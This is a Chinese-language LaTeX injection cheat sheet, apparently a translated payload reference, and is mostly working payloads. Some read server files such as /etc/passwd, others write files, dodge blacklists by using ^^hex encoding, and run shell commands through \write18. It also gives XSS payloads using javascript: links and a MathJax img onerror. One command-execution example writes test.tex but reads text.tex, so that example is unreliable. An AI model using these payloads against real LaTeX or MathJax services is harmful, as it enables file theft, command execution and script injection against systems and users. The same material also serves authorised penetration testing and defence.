跳转至

LaTeX 注入 (LaTeX Injection)

LaTeX 注入是一种注入攻击,它将恶意内容注入到 LaTeX 文档中。LaTeX 被广泛用于文档准备和排版,特别是在学术界,用于生成高质量的科学和数学文档。由于其强大的脚本编写功能,如果未采取适当的保护措施,LaTeX 可能会被攻击者利用来执行任意命令。

摘要 (Summary)

文件操作 (File Manipulation)

读取文件 (Read File)

攻击者可以读取服务器上的敏感文件内容。

读取文件并解释其中的 LaTeX 代码:

\input{/etc/passwd}
\include{somefile} # 加载 .tex 文件 (somefile.tex)

读取单行文件:

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

读取多行文件:

\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

读取文本文件,而不解释内容,它只会粘贴原始文件内容:

\usepackage{verbatim}
\verbatiminput{/etc/passwd}

如果注入点位于文档头部之后(无法使用 \usepackage),可以停用某些控制字符,以便在包含 $#_&、空字节等字符的文件上使用 \input(例如:Perl 脚本)。

\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}

要绕过黑名单,尝试将一个字符替换为其 Unicode 十六进制值。

  • ^^41 代表大写 A
  • ^^7E 代表波浪号 (~) 注意 'e' 必须是小写
\lstin^^70utlisting{/etc/passwd}

写入文件 (Write File)

写入单行文件:

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile

命令执行 (Command Execution)

命令的输出将被重定向到标准输出 (stdout),因此你需要使用临时文件来获取它。

\immediate\write18{id > output}
\input{output}

如果你遇到任何 LaTeX 错误,考虑使用 base64 来获取没有错误字符的结果(或使用 \verbatiminput):

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base64
\input{|"/bin/hostname"}

跨站脚本攻击 (Cross Site Scripting)

来自 @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

mathjax

\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}

实验环境 (Labs)

参考资料 (References)